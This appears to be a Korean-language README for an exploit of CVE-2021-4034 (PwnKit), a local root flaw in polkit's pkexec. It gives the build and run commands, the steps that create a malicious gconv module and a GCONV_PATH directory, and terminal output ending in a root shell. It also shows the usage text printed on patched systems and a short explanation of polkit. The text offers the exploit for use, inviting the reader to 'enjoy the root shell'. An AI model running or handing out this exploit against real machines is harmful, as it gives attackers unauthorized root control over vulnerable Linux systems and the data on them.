
CVE-2021-4034에 대한 익스플로잇으로, polkit pkexec 권한 상승 취약점을 이용하여 취약한 Linux 시스템에서 루트 셸을 제공합니다.
make, ./cve-2021-4034를 실행하고 루트 셸을 즐기세요.
익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
대부분의 시스템에서 polkit을 업데이트하면 익스플로잇이 패치되므로, 사용법이 출력되고 프로그램이 종료됩니다:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Polkit(이전 명칭 PolicyKit)은 Unix 계열 운영 체제에서 시스템 전체 권한을 제어하기 위한 구성 요소입니다. 비권한 프로세스가 권한 있는 프로세스와 통신할 수 있는 체계적인 방법을 제공합니다. 또한 polkit을 사용하여 pkexec 명령 뒤에 실행하려는 명령을 붙여 (루트 권한으로) 상승된 권한으로 명령을 실행할 수도 있습니다.